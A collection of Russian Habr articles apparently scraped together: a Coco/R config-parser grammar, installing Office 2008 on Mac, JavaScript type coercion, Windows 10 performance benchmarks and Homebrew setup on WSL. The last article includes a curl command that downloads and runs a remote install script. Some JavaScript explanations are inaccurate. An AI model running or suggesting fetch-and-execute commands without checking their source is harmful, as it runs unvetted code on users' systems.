// #include <необходимые_файлы>
COMPILER SRIO_CONFIG
// используемый набор символов
CHARACTERS
letter = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".
digit = "0123456789".
cr = '\r'.
lf = '\n'.
tab = '\t'.
stringch = ANY - '"' - '\\' - cr - lf - tab.
hexDigit = "0123456789abcdefABCDEF".
printable = '\u0020' .. '\u007e'.
TOKENS
ident = letter {"_"} { letter | "_" | digit }.
number = digit { digit } | "0x" hexDigit {hexDigit}.
string = '"' { stringch | "\"\"" } '"' .
COMMENTS FROM "/*" TO "*/" NESTED
COMMENTS FROM "//" TO lf
IGNORE cr + lf + tab
PRODUCTIONS
// описание устройства в конфигурационном файле
DEVICE (. ConfDevice dev; dev.iStepNo=iStepDefNo; .)
=
"DEVICE" (. dev.iId = 0xFF; dev.iHopCnt=0xFF; .)
[
{
DEVNAME
| "ID" "=" "(" NUMBER "," NUMBER ")"
| "DI" "=" NUMBER<(int &)dev.uDidCar>
| DEVCAPS
| "UMASK" "=" NUMBER<(int &)dev.uMask>
}
]
[
"{"
{ (. ConfPort cport; .)
ASSIGPort (. dev.lstPorts.Add(cport); .)
[","]
}
"}"
]
[ ";" ]
(. m\_pDevices->Add(dev); .)
.
// описание порта и маршрута
ASSIGPort (. int num=-1; .)
=
"PORT" "=" NUMBER
{
"PW" "=" PW
| "LS" "=" LS
| "ID" "="
"{"
NUMBER (. pPort.lstIds.Push(num); .)
{
',' NUMBER (. pPort.lstIds.Push(num); .)
}
"}"
}
.
// ширина порта в физических линиях
PW (. int iTmp=0; .)
= (
"X1" (. pw = PWX1; .)
| "X2" (. pw = PWX2; .)
| "X4" (. pw = PWX4; .)
| "X1L0" (. pw = PWX1L0; .)
| "X1L1" (. pw = PWX1L1; .)
| "X1L2" (. pw = PWX1L2; .)
|NUMBER (. pw=(ePW)iTmp; .)
)
.
// ширина порта в линиях
LS (. int iTmp=0; .)
= (
"G125" (. ls = LSG125; .)
| "G25" (. ls = LSG25; .)
| "G3125" (. ls = LSG3125; .)
| "G5" (. ls = LSG5; .)
| "G625" (. ls = LSG625; .)
|NUMBER (. ls=(eLS)iTmp; .)
)
.
// получение строки, заключённой в кавычки
STRING = string (. str=CStr::FromPosLen(t->val, 1, strlen(t->val)-2); .)
.
// получение 10-ного или 16-ричного числа
NUMBER = number (. value=Utils::ToInt32(t->val); .)
.
// название устройства (строка, применяется в devfs как имя)
DEVNAME (. CStr str; .)
= "NAME" "=" STRING (. strcpy(dev.szName, (LPCSTR)str); .)
.
// возможности API устройства
DEVCAPS (. dev.uCaps = 0; .)
= "CAPS" "="
"{"
{
[',']
(
"MN" (. dev.uCaps |= MN; .)
|"MB0" (. dev.uCaps |= MB0; .)
|"MB1" (. dev.uCaps |= MB1; .)
|"MB2" (. dev.uCaps |= MB2; .)
|"MB3" (. dev.uCaps |= MB3; .)
|"DB" (. dev.uCaps |= DB; .)
|"DIO" (. dev.uCaps |= DIO; .)
|"ST" (. dev.uCaps |= ST; .)
)
}
"}"
.
//////////////////////////////////////////////////////////////
// конфигурационный файл
SRIO\_CONFIG = DEVICE { DEVICE }
.
END SRIO\_CONFIG
```
Получается весьма кратко и изящно. Теперь достаточно пропустить этот описатель через генератор парсеров. В данном случае использовался генератор, модифицированный мной много лет назад:
```
D:\WRL>cocor cocor –namespace cfg sdrv_conf.atg
Coco/R (Nov 17, 2010), changed by APRCPV
checking
sdrv_conf.atg(1): warning LL1: in DEVICE: contents of [...] or {...} must not be deletable
sdrv_conf.atg(1): warning LL1: in BLK_STEPDEF: "DEVICE" is start & successor of deletable structure
parser + scanner generated
0 errors detected
D:\WRL >
```
Результат работы генератора — файлы Parser.cpp Scanner.cpp Parser.h Scanner.h, которые мы немедленно включим в проект и можем сразу использовать:
```
bool ReadConfigFile()
{
bool bSuc=false;
// проверяем наличие конфигурационного файла
if (access(m_szConfFileName, 0)!=0)
{
TRACE(eLL_CRIT, "Error: Configuration file '%s' not found or unaccessable!\n", m_szConfFileName);
abort();
}
cfg::Scanner &s = *new cfg::Scanner(m_szConfFileName); // создаём сканнер
cfg::Parser &p = *new cfg::Parser(&s); // создаём парсер
p.m_pConfigData = this; // объект конфигурации в памяти программы
p.Parse(); // выполняем разбор конфигурационного файла
// проверяем на наличие синтаксических ошибок в конфигурации
// если нужно, то можно вывести информацию в формате: error(row:col)
bSuc=(p.errors->count < 1);
delete &p
delete &s
// возвращаем признак успеха разбора конфигурационного файла
return bSuc;
}
```
Дело сделано, теперь моя программа способна воспринимать конфигурационный файл в том формате, в котором его удобно писать. Более того, всегда можно изменить синтаксис и добавить в него новые возможности.
С использованием данной технологии можно не только разбирать конфигурационные файлы, а вообще разбирать любой формальный синтаксис, что бывает весьма полезно. Например, можно создать специализированный редактор с подсветкой синтаксиса не хуже, чем в Eclipse или Visual Studio, но только синтаксис мы сможем определять сами.
А теперь немного пофантазируем… Наверняка многим не давали покоя лавры Николаса Вирта или Кернигана и Риччи: ну почему они смогли разработать новый язык программирования, а я не могу?! И вправду, а почему? Ведь от построения парсера конфигурационного файла до языка программирования всего лишь один шаг. Можно написать интерпретатор, а можно и вполне полноценный компилятор, если добавить генерацию кода, которую мы уже рассмотрели [в одной из статей](https://habrahabr.ru/post/327580/).
*Аркадий Пчелинцев, архитектор проектов* | https://habr.com/ru/post/328296/ | null | ru | null |
# Установка MS Office 2008 на Mac OS 10.6 Snow Leopard без Rosetta
Если вы поставили новую систему по-дефолту, или намерено выключили поддержку кода для PPC, то это может быть актуально.
1. Монтируем образ или вставляем диск с офисом
2. в терминале пишем:
`sudo installer -package /Volumes/Office\ 2008/Office\ Installer.mpkg -target /`
где /Volumes/Office\ 2008/Office\ Installer.mpkg — путь к установщику, а / — путь куда устанавливать.
3. ждем
4. устанавливаем апдейты:
<http://www.microsoft.com/mac/downloads.mspx?pid=Mactopia_Office2008&fid=395D1487-A3A6-4106-A0F8-4D6E1D6D89D2#viewer> — Microsoft Office 2008 for Mac Service Pack 1 (12.1.0)
<http://www.microsoft.com/mac/downloads.mspx?pid=Mactopia_Office2008&fid=300133BB-B5F7-4946-BB7B-B0C6C6D6E28C#viewer> — Microsoft Office 2008 for Mac Service Pack 2 (12.2.0)
<http://www.microsoft.com/mac/downloads.mspx?pid=Mactopia_Office2008&fid=9730452B-E6AD-4330-93E4-57F66293BF1C#viewer> — Microsoft Office 2008 for Mac 12.2.1 Update
И все! у вас есть свежий офис без «розетки».
Жду конструктивной критики :)
upd. перенесено в Mac OS X. | https://habr.com/ru/post/74451/ | null | ru | null |
# Особенности типов данных и преобразования в JavaScript
На первый взгляд тема типов данных и преобразований может показаться легкой.
Обычно она изучается в самом начале погружения в JavaScript. Однако в этих темах есть неочевидные подводные камни, которые знает далеко не каждый разработчик.
В этой статье мы рассмотрим особенности типов данных и преобразований, которые многие пропустили.
typeof
------
JavaScript имеет 8 встроенных типов данных:
1. `null`
2. `undefined`
3. `boolean`
4. `number`
5. `string`
6. `object`
7. `symbol`
8. `BigInt`
Подробности о каждом типе данных вы можете причитать в любой документации.
Значения `typeof` отличаются:
1. `”undefined”`
2. `”boolean”`
3. `”number”`
4. `”string”`
5. `object”`
6. `”symbol”`
7. `”function”`
8. `"bigint"`
Оператор `typeof` возвращает строку, указывающую тип операнда.
> *Операнд* – то, к чему применяется оператор. Например, в умножении `5 * 2` есть два операнда: левый операнд равен `5`, а правый операнд равен `2`.
>
>
**Оператор** `typeof` напрямую не коррелирует со встроенными типами!
### typeof null
Давайте рассмотрим пример:
```
const a = null;
console.log(!a && typeof a === "object");
```
В консоль будет выведено значение `true`.
Такой результат будет из-за того, что JavaScript имеет старый баг.
`typeof null` возвращает `"object"`.
Этот баг существует уже много лет и вероятнее всего уже никогда не будет исправлен. Это связано с тем, что написано слишком много кода, который полагается на это ошибочное поведение.
### typeof function
Посмотрим пример:
Что будет выведено в консоль?
```
const x = function() {}
console.log(x.length) // 0
const y = function(a, b, c) {}
console.log(y.length) // 3
```
У многих людей, которые не встречали такого вопроса ранее, может возникнуть недоумение. Учитывая, что `typeof y` и `typeof x` возвращает `“function”`, кто-то может ожидать, что функция является одним из встроенных типов в JS. На самом деле, согласно спецификации, **функция - это подтип объекта**. Благодаря этому можно проверить количество аргументов у функции через `.length`
### typeof NaN
Важно запомнить особенности `NaN`:
1. NaN никогда не равен сам себе независимо от того используем мы `==` или `===`.
```
NaN === NaN // false
NaN == NaN // false
```
2. `typeof NaN` всегда возвращает `“number”` . Это может показаться странным из-за того, что NaN - не число, которое является числом. `NaN` все еще числовой тип несмотря на этот факт.
3. `window.isNaN` вернет `true` только для фактических значений `NaN`, когда результат просто не число.
```
window.isNaN(2 / "Dave") // true
window.isNaN("Dave") // true
```
`window.isNaN` преобразует аргумент в `number` и возвращает `true` , если результат будет равен `NaN`
4. `Number.isNaN` был добавлен в ES6. `Number.isNaN` вернет `true` только для тех значений, которые не являются числами, например, применимо к строке, будет возвращено `false`.
```
Number.isNaN(2 / "Dave") // true
Number.isNaN("Dave") // false
```
`Number.isNaN` производит приведение типов, в то время как `window.isNaN` не делает приведение.
Значение vs Ссылка
------------------
Вспомним простые значения в JS:
1. `null`
2. `string`
3. `boolean`
4. `number`
5. `symbol`
Комплексные значения:
1. Массивы
2. Объекты
3. Функции
**Простые значения в JS имутабельные. Комплексные значения мутабельные.**
Сначала повторим разницу между мутабельными и имутабельными данными.
```
// Пример имутабельности чисел:
let a = 1
let b = a
b++
console.log(a) // 1
console.log(b) // 2
// Пример мутабельности:
let x = [1, 2, 3]
let y = x
y.push(4)
console.log(x) // [1, 2, 3, 4]
console.log(y) // [1, 2, 3, 4]
x.push(5)
console.log(x) // [1, 2, 3, 4, 5]
console.log(y) // [1, 2, 3, 4, 5]
```
В примере мутабельности мы определили массив `x`. Константе `y` мы присвоили ссылку на `х`. Когда мы модифицируем массив `x` , мы также модифицируем и `y`.
При работе с имутабельными данными такого эффекта не происходит. Это важно запомнить!
Мы рассмотрели пример с числами. Давайте взглянем на пример со строками:
```
// Имутабельные строки:
let a = "hello"
a[2] = "Z"
console.log(a) // "Hello"
```
В данном примере не произойдет изменение строки!
Если вы хотите изменить строку, то вам придется создать новую переменную.
С использованием метода `.toUpperCase()` ситуация будет отличаться.
```
a.toUpperCase()
console.log(a) // "HELLO"
```
Метод `.toUpperCase()` возвращает новую строку и присваивает переменной `a`.
Взглянем, как ведут себя массивы со строками:
```
// Мутабельные массивы:
let b = ["h", "e", "l", "l", "o"]
b[2] = "Z"
console.log(b) // ["h", "e", "Z", "l", "o"]
```
Тут мы получили модифицированный массив `b`.
После повторения разницы между мутабельными и имутабельными данными может возникнуть вопрос: “Откуда у примитивных данных есть полезные методы вроде `.toUpperCase()` ?”
Если движок JavaScript встречает запись подобную `"hello".toUpperCase()` и у нас есть примитив, то мы вызываем у него метод. В таком случае вокруг примитива создается обертка в виде объекта, у которого как раз есть методы. После выполнения инструкции обертка удаляется и у нас снова остается примитивное значение.
Давайте рассмотрим легкий пример:
```
let a = [0, 1]
let b = a
b[0] = "a"
console.log(a) // ["a ", 1]
```
После повторения теории результат выполнения будет очевидным.
Но существует особенность в другом похожем примере:
```
let a = [0, 1]
let b = a
b = ["a", "b"]
console.log(a[0]) // 0
```
Переменной `a` мы присвоили массив.
Переменной `b` мы присвоили ссылку на переменную `а`, а затем переменной `b` присвоили новый массив.
В момент последнего присвоения старая ссылка была удалена!
Если мы создали новую ссылку в `b`, то мы уже не можем, модифицируя `b` , изменять и `a`.
Еще раз:
```
let a = [0, 1]
let b = a // Создается ссылка
b = ["a", "b"] // Создается НОВАЯ ссылка на массив
```
Сравнение типов
---------------
Преобразование может быть явным, когда мы целенаправленно приводим один тип к другому, либо неявным, когда приведение типа происходит автоматически без явных команд.
```
String("123") // Явное преобразование
123 + "" // неявное преобразование
```
В JavaScript преобразование всегда приводит к 3м типам:
* к строке
* к числу
* к логическому значению (`true` / `false`)
### Приведение к строке
```
String(null) // "null"
String(undefined) // "undefined"
String(true) // "true"
String(false) // "false"
String(1) // "1"
String(NaN) // "NaN"
String(10000000000 * 900000000000) // "9e+21"
String({}) // "[object Object]"
String({ name: "Ivan" }) // "[object Object]"
String([]) // ""
String([1, 2, 3]) // "1,2,3"
```
В данном примере преобразование происходит очевидным образом.
### Приведение к числу
```
Number(null) // 0
Number(undefined) // NaN
Number(true) // 1
Number(false) // 0
Number(1) // 1
Number(NaN) // NaN
Number(10000000000 * 900000000000) // 9e+21
Number({}) // NaN
Number({ name: "Ivan" }) // NaN
Number([]) // 0
Number([1, 2, 3]) // NaN
Number("Ivan") // NaN
Number("0") // 0
Number("123") // 123
```
Тут есть исключения, которые нужно помнить:
* `Number(null)` приводится к `0`
* `Number(undefined)` приводится к `NaN`
* Пустой массив `Number([])` приводится к `0`
* Не пустой массив `Number([1, 2, 3])` приводится к `NaN`
### Приведение к логическому типу
```
// Ложные значения
Boolean(null) // false
Boolean(undefined) // false
Boolean(NaN) // false
Boolean(-0) // false
Boolean(+0) // false
Boolean("") // false
// Истинные значения
Boolean(1) // true
Boolean(-1) // true
Boolean(10000000000 * 900000000000) // true
Boolean({}) // true
Boolean({ name: "Ivan" }) // true
Boolean([]) // true
Boolean([1, 2, 3]) // true
Boolean(() => {}) // true
Boolean("Ivan") // true
Boolean("0") // true
```
В этом примере стоит заострить внимание на объектах и массивах.
Пустая функция, объект или массив приведет к `true`.
### Приведение комплексных данных
Комплексные данные, такие как объекты и массивы, сначала будут преобразованы в их примитивные значения, а уже потом это значение будет преобразовано в число.
Разберем более подробно. Если у объекта доступен метод `.valueOf` , который возвращает примитивное значение, то оно будет использоваться для приведения к числу, а если нет, то будет использоваться метод `.toString()`.
Если ни одна операция не может предоставить примитивное значение, то выдается ошибка “Type Error”
```
let x = {}
x.valueOf = () => 22
console.log(Number(x)) // 22
let y = []
y.toString = () => '22'
console.log(Number(y)) // 22
let z = {}
z.valueOf() // {} (не примитив)
z.toString() // "[object Object]" (приводит объект к строке)
Number(z) // NaN
```
Давайте коснемся логических операторов прежде чем продолжить дальше:
Как вы думаете что будет выведено в консоль?
```
let obj = {
a: {
b: "c"
}
}
console.log(obj.a && obj.a.b)
```
Казалось бы простой вопрос, но не все ответят правильно.
В консоль будет выведено `с`. Особенно для тех, кто пришел из других языков такой результат будет неочевиден.
Вспомним как работают логические операторы:
```
let a = 1
let b = "a"
let c = null
console.log(a && b) // "a"
console.log(a || b) // 1
console.log(b || c) // null
console.log(c || a) // 1
```
Если оба операнда истины, тогда будет возвращен последний операнд.
Строгое сравнение и сравнение с приведением типов
-------------------------------------------------
Обычно считается, что `===` использует “строгое” сравнение, и сравнивает типы, а `==` нет.
Если говорить более корректно, `==` позволяет делать приведение типов, тогда как `===` не разрешает.
Таблицы ниже показывают в результатах между `==` и `===`
### ==
### ===
### Неявное приведение между строкой и числом
Можно неявно привести строку к числу, используя оператор `+`.
В JS оператор `+` используется как для сложения чисел, так и для конкатенации строк.
Оператор `+` выполняет операцию `.toPrimitive` над значением левой и правой стороны.
Метод `.toPrimitive` вызывает `valueOf` у значения. Если одно из значений является строкой, то он их объединяет.
Также существует небольшая разница между неявным приведением числа к строке с помощью `+` и явным с помощью `String()`.
`+` вызывает `valueOf` , в то время как явный метод вызывает `toString`
Искусственный пример. Не берите его в свой код. Пример только для наглядности:
```
a = { valueof: () => 22, toString: () => 44 }
String(a) // 44
a + '" // 22
```
Алгоритмы сравнения
-------------------
Нас интересует, что происходит, когда `boolean` находится по обе стороны от `==`.
```
console.log("22" == true) // false
console.log("22" == 1) // false
console.log(22 == 1) // false
```
Вы могли ожидать, что `"22" == true` вернет `true`, т.к. `“22”` является истинным значением, но фактически результат будет `false`.
Это происходит из-за того, что значение `true` приводится к числу. Результат выполнения будет `1`. Далее `"22"` приводится к числу `22`. В конце идет сравнение `22 == 1`, где и возвращается `false`.
Задачи на собеседованиях
------------------------
Мы готовы рассмотреть интересные примеры, которые встречаются на собеседованиях.
```
console.log(false == "0") // true
// false приведен к 0
// "0" приведен к 0
// 0 === 0
console.log(false == 0) // true
// false приведен к 0
// 0 === 0
console.log(false == "") // true
// false приведен к 0
// "" приведен к 0
// 0 === 0
console.log(false == []) // true
// false приведен к 0
// [] это объект так что вызывается ToPrimitive
// valueOf() попробует получить примитивное значение
// [].valueOf() приведет к [], что не является примитивным значением
// При вызове [].toString() получим ""
// "" будет приведео к числу 0
// 0 === 0
console.log("" == 0) // true
// "" будет приведено к 0
// 0 === 0
console.log("" == []) // true
// [] это объект так что вызывается ToPrimitive
// valueOf() попробует получить примитивное значение
// [].valueOf() приведет к [], что не является примитивным значением
// При вызове [].toString() получим ""
// "" === ""
console.log(0 == []) // true
// [] это объект так что вызывается ToPrimitive
// valueOf() попробует получить примитивное значение
// [].valueOf() приведет к [], что не является примитивным значением
// При вызове [].toString() получим ""
// "" приведен к 0
// 0 === 0
```
### Более сложные примеры
Вспомним терминологию.
**Операнд** - то к чему применяется оператор.
**Бинарный оператор** - оператор, который применяется к 2м операндам (`1 + 3`)
**Унарный оператор** - оператор, который применяется к одному операнду (`2++`)
```
console.log(true + false) // 1
// Бинарный оператор + вызывает численное преобразование для true и false
// 1 + 0 (вернет 1)
console.log(12 / "6") // 2
// Оператор деления вызывает численное преобразование
// 12 / 6 (вернет 2)
console.log("number" + 15 + 3) // "number153"
// Тут + выполняется слева направо
// "number" + 15 (вернет "number15")
// Поскольку один из операндов + это строка, то второе число будет преобразовано в строку
// "number15" + "3" (вернет "number153")
console.log(15 + 3 + "number") // "18number"
// 15 + 3 (вернет 18)
// 18 + "number" (вернет "18number")
console.log([1] > null) // true
// Оператор сравнения вызывает численное преобразование
// [1] будет преобразован в 1
// null будет преобразован в 0
// 1 > 0 (вернет true)
console.log("foo" + +"bar") // "fooNaN"
// Унарный оператор имеет более высокий приоритет, чем унарный оператор
// +"bar" выполнится первый
// Унарный плюс вызывает численное преобразование "bar" (вернет NaN)
// "foo" + NaN тут так же сработает конкатинация (вернет "fooNaN")
console.log("true" == true) // false
// Оператор сравнения вызывает численное преобразование
// Левый операнд "true" преобразуется в NaN
// Правый операнд true станет 1
// NaN === 1 (вернет false)
console.log("false" == false) // false
// Оператор сравнения вызывает численное преобразование
// Левый операнд "false" преобразуется в NaN
// Правый операнд true станет 0
// NaN === 0 (вернет false)
console.log(null == "") // false
// Оператор == обычно вызывает численное преобразование, но не в случае с null
// null == null и null == undefined возращает true, а все остальные случаи вернут false
console.log(!!"false" == !!"true") // true
// Оператор !! конвертирует строки "false" и "true" в булевые значения
// Получаем true == true, т.к. "false" не пустая строка (вернет true)
console.log(["x"] == "x") // true
// Оператор == вызывает численное преобразование у массива
// Метод массива valueOf возвращает сам массив. Этот результат игнориуется, т.к. не является примитивом
// Далее вызывается метод массива toString, который конвертирует ["x"] в "x"
// "x" == "x" (вернет true)
console.log([] + null + 1) // "null1"
// Оператор + вызывает численное преобразование массива
// Метод массива valueOf возвращает сам массив. Этот результат игнориуется, т.к. не является примитивом
// Далее вызывается метод массива toString, который конвертирует [] в ""
// "" + null (вернет "null")
// "null" + 1 (вернет "null1")
console.log([1, 2, 3] == [1, 2, 3]) // false
// В данном примере преобразование не происходит, т.к. оба массива одного типа
// Оператор == сравнивает объекты по ссылке, а не по значению
// Данные массивы являются двумя разными экземплярами
// Поэтому [1, 2, 3] == [1, 2, 3] вернет false
```
Пользуясь возможность возможностью хотелось бы рассказать о youtube канале [Open JS](https://www.youtube.com/@openjs) на котором выкладываются обучающие ролики по JavaScript. Ни какой воды, рекламы и пустых рассуждений. Канал только начал свое развитие. Буду рад поддержке!
Спасибо за внимание! | https://habr.com/ru/post/709048/ | null | ru | null |
# Исследование: становилась ли Windows 10 медленнее с каждым feature update?
Одной из основных причин того, что некоторые люди избегают обновления своих ПК, стало то, что «обновления тормозят систему». Особенно это актуально для Windows 10 с её схемой Software as a Service, при которой ОС дважды в год получает «feature update». Но так ли это на самом деле?
Сегодня мы выясним, насколько менялась производительность Windows 10 со временем, проведя бенчмарки десяти аспектов работы с ОС:
* Время установки
* Время загрузки/перезагрузки
* Запуск приложений Win32
* Запуск приложений UWP
* Windows Search
* Производительность GDI
* Нагрузочные испытания GDI
* Быстрое сканирование Windows Defender
* Производительность ввода-вывода
* Выключение
Но для начала небольшое пояснение: хотя я стремился к максимально объективному сравнению метрик производительности, в моих измерениях могут быть погрешности. В этом эксперименте я использовал в качестве гипервизора для каждой сборки Hyper-V с 4 ГБ ОЗУ, 4 ядрами и 32 ГБ накопителя.
Каждая версия устанавливалась на чистую систему.
Итак, давайте приступим!
1. Время установки
------------------
Процесс установки — это первый момент взаимодействия пользователя с ОС. В последних версиях Windows (особенно начиная с Vista и далее) Microsoft предпринимала серьёзные усилия для того, чтобы обеспечить максимально гладкую и эффективную установку операционной системы. Но насколько же она быстра?
Для каждой сборки я использовал установочный образ в формате .WIM, чтобы получить сопоставимые и точные результаты. Кроме того, для объективного сравнения скоростей и снижения человеческого фактора использовался файл, не требующий вмешательства пользователя.
Как мы видим, в трёх первых публичных релизах Windows 10 результат достаточно стабильный. Однако после Creators Update мы видим увеличение времени примерно на 3 минуты. Однако пиковое значение было получено с Windows 10 October 2018 update (build 17763): установка заняла аж целых 18 минут и 40 секунд. Похоже, после RS5 процесс установки слегка ускорился, но не стал быстрее, чем в сборках до RS2.
Вердикт: процесс установки Windows 10 немного замедлился, но незначительно. Возможно, это вызвано тем, что последующие релизы Windows 10 занимают больше пространства на диске, поэтому очевидно, что им требуется больше времени для записи на диск.
2. Время загрузки
-----------------
Один из самых часто проверяемых в бенчмарках критериев производительности ОС — это скорость загрузки. Она задаёт тон для производительности в целом, потому что медленно загружающаяся система, скорее всего, и работать будет медленно. Со времён Windows 8 процесс загрузки существенно изменился\*, чтобы ОС могла использовать преимущества современных накопителей наподобие SSD.
\* Функция быстрой загрузки (fast boot) в этом бенчмарке была отключена.
Как мы видим, время загрузки с момента релиза Windows 10 Anniversary Update значительно выросло (однако в Creators Update сильно упало). Если сравнить Windows 10 TH1 с Windows 10 20H1, то время увеличилось примерно в 2,6 раза. Разумеется, в этом контексте речь идёт о считанных секундах, но на медленных системах увеличение определённо будет более заметно.
Для времени перезагрузки график почти не меняется.
Вердикт: время загрузки в более новых сборках действительно увеличилось. Вероятно, это связано с новыми технологиями защиты, реализованными в свежих сборках Windows, а также с добавлением новых сервисов.
3. Приложения Win32
-------------------
Хотя Microsoft пыталась сделать своим будущим приложения UWP, Win32 до сих пор являются тем, благодаря чему Windows остаётся Windows.
Для бенчмарка я выбрал собственные приложения Windows: Windows Explorer (Проводник), winver, Notepad (Блокнот), Internet Explorer, Paint, Registry Editor (Редактор реестра), msconfig, msinfo32, Wordpad, Control Panel (Панель управления) и Task Manager (Диспетчер задач).
Здесь мы опять наблюдаем достаточно ощутимое замедление начиная с Windows 10 1809 — запуск приложений по сравнению с предыдущей сборкой замедлился вдвое. Если сравнить наименьшую точку с наибольшей, то мы снова получаем разницу более чем в 3 раза. Не очень хороший признак.
Вердикт: программы Win32 с наибольшей вероятностью будут открываться в новых сборках Windows медленнее.
4. Приложения UWP
-----------------
Universal Windows Platform является (или являлась, по мнению некоторых) платформой приложений Microsoft для реализации видения компании «Единой Windows». UWP должна упростить разработку приложений: разработчик может написать приложение один раз, после чего оно сможет запускаться на множестве устройств. К сожалению, сегодня UWP находится в неприглядном положении: от неё частично отказалась Microsoft, что особенно заметно по Магазину Windows (Store).
В бенчмарке участвовали следующие приложения: Microsoft Edge, Settings (Настройки), Calculator (Калькулятор), Calendar (Календарь), Maps (Карты), Movies and TV (Кино и ТВ), Groove Music (Музыка Groove), People, Store и Voice Recorder (Запись голоса)
*Думаю, мы уже начинаем замечать некую закономерность...*
По этому показателю мы видим довольно серьёзные результаты. Ситуация снова начинает сильно ухудшаться после 1809, а пик приходится на 19H1. Результаты очевиднее некуда.
Вердикт: запуск приложений UWP стал значительно медленнее с последующими feature updates.
5. Windows Search
-----------------
В этом эксперименте я использовал Windows Search для поиска всех файлов msinfo32 на диске C:. Давайте оценим результаты:
Здесь, в отличие от других бенчмарков, результаты сильно варьируются, поэтому нельзя с уверенностью сказать, что произошло ухудшение.
Вердикт: результаты неопределённы.
6. Бенчмарк GDI
---------------
Для этого теста я использовал бенчмарк REGDI32 разработчика ADeltaX, создающий 9900 дескрипторов GDI, что чуть меньше максимального значения, равного 10000. Эта программа создаёт бенчмарк времени, требуемого для рендеринга всех дескрипторов. Давайте посмотрим на результаты:
*Чем меньше, тем лучше.*
Как видите, до Windows 10 19H1 наблюдался стабильный рост, завершившийся значительным падением в 20H1. Похоже, проблема производительности GDI была, к счастью, решена, что не может не радовать.
Вердикт: производительность GDI **становилась** медленнее с каждым последующим релизом, но эту проблему устранили.
7. Нагрузочный тест Проводника
------------------------------
Для этого бенчмарка я написал очень простой пакетный файл, открывающий экземпляры Проводника до исчерпания возможностей GDI. Это проверяет не только скорость рендеринга GDI, но и время запуска Win32. Чем быстрее мы увидим визуальные артефакты, тем лучше.
Мы снова наблюдаем значительное увеличение времени, начиная с Windows 10 1809. Хотя в предыдущем разделе мы видели, что производительность GDI в 20H1 значительно улучшилась, это всё равно не очень помогло снижению времени до исчерпания GDI. Поэтому мы можем прийти к выводу, что увеличение времени вызвано тем, что замедлился запуск приложений Win32.
Вердикт: на открытие экземпляров Проводника до завершения у ОС дескрипторов GDI требуется больше времени.
8. Быстрое сканирование Windows Defender
----------------------------------------
Как бы вы к нему ни относились, Windows Defender становится всё более неотъемлемой частью Windows, и в каждом feature update в него добавляются новые улучшения. Но как он проявляет себя при старом добром быстром сканировании? Давайте посмотрим, стало ли оно быстрее или медленнее:
Похоже, что после Anniversary Update скорость сканирования значительно увеличилась, и хотя в более свежих сборках результаты варьируются, они всё равно намного лучше, чем у первых двух релизов Windows 10.
Вердикт: Windows Defender стал не только умнее, но и намного быстрее по сравнению с первыми релизами Windows 10.
9. Производительность дискового ввода-вывода
--------------------------------------------
Для этого бенчмарка я использовал diskspd — бесплатную утилиту Microsoft в open-source, предназначенную для тестирования производительности подсистемы ввода-вывода.
Использовалась команда `diskspd -c1G -d300 -r -w40 -o32 -t8 -b64k -Sh -L`.
В графике показано общее количество операций считывания и записи ввода-вывода.
*Чем больше, тем лучше.*
Любопытный поворот: Windows 10 1809 оказалась самой быстрой из всех сборок. Похоже, Microsoft внесла улучшения в подсистему ввода-вывода, потому что эти изменения сохранились и в последующих релизах.
Вердикт: производительность ввода-вывода Windows 10 стала сегодня чуть лучше.
10. Выключение.
---------------
Мы не можем завершить проверку бенчмарков ОС без замеров скорости выключения. Хотя в целом она не так важна, это всё равно влияет на впечатление об ОС в целом.
Вердикт: результаты достаточно стабильны, то есть скорость выключения оставалась приблизительно одинаковой.
Итак, давайте ответим на вопрос: стала ли Windows 10 со временем медленнее?
В каком-то смысле да. Однако большинство людей не заметит этого ухудшения. Также мы заметили значительные улучшения ввода-вывода, а также безопасности.
Почему так происходит?
Причиной этого ухудшения может быть множество виновников. Кто-то может сказать, что утрата интереса Microsoft к мобильным устройствам заставила компанию отказаться от тщательной настройки каждого компонента для обеспечения его максимальной производительности (возможно, вы знаете, что устройства Windows Phone хвалили за их превосходную скорость даже на слабом «железе»). Другие могут обвинить в замедлении повышение безопасности Windows. Миновало время, когда пользователь мог запросто скачать вирусы из Интернета, так как Windows Defender всё строже контролирует возможности конечного пользователя по модифицированию ОС.
Видео с некоторыми из бенчмарков можно посмотреть здесь:
---
#### На правах рекламы
[Аренда виртуального сервера с Windows](https://vdsina.ru/) на любом тарифе начиная с 2 vCPU, 4 ГБ ОЗУ и 20 ГБ хранилища. Создайте собственный сервер в пару кликов, максимальная конфигурация — 128 ядер CPU, 512 ГБ RAM, 4000 ГБ NVMe.
Подписывайтесь на [наш чат в Telegram](https://t.me/vdsina).
[](https://vdsina.ru/) | https://habr.com/ru/post/564900/ | null | ru | null |
# Запускаем Homebrew на Windows 10
Коллеги, которые только начали погружение в мир Cloud Native, часто задаются вопросом, как установить необходимое ПО на Windows. Решение уже давно известно — [Windows Subsystem for Linux (WSL)](https://docs.microsoft.com/en-us/windows/wsl/install-win10). Это действительно неплохой вариант для полноценной работы. И не забывайте, что установить все необходимые утилиты очень просто — вам нужен **Homebrew**. Этот пакетный менеджер уже давно доступен не только для OS X, но и для Linux. Приступим!
Установка Ubuntu 20.04
----------------------
Заходим в Microsoft Store и [устанавливаем](https://ubuntu.com/tutorials/ubuntu-on-windows#1-overview) Ubuntu 20.04. Может потребоваться удалить старую версию:
```
CTRL + R -> CMD
#Check installation
C:\Users\suchak>wsl --list
Windows Subsystem for Linux Distributions:
Ubuntu-20.04
Legacy (Default)
#Uninstalling older version
C:\Users\suchak>wsl --unregister Legacy
#Check the default installation again
C:\Users\suchak>wsl --list
Windows Subsystem for Linux Distributions:
Ubuntu-20.04 (Default)
```
Устанавливаем терминал для Windows
----------------------------------
[Iterm2](https://iterm2.com/) — великолепный терминал для OS X. Работая в Linux я предпочитаю [Tilix](https://gnunn1.github.io/tilix-web/). А что же выбрать для работы с Windows? Неплохим решением может быть [Terminus](https://eugeny.github.io/terminus/), хотя вы можете использовать и Power Shell.
Для установки Terminus загружаем инсталляционный файл для Windows из [официального репозитория на GitHub](https://github.com/Eugeny/terminus/releases).
Устанавливаем Homebrew
----------------------
Запускаем терминал Terminus и приступаем к установке. Для работы Homebrew требуется gcc:
```
sudo apt install gcc
```
Теперь [устанавливаем](https://brew.sh/) Homebrew:
```
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"
```
Всё готово!
-----------
Установим необходимые программы:
```
brew install kind kubernetes-cli helm k9s kubectx kubecolor
```
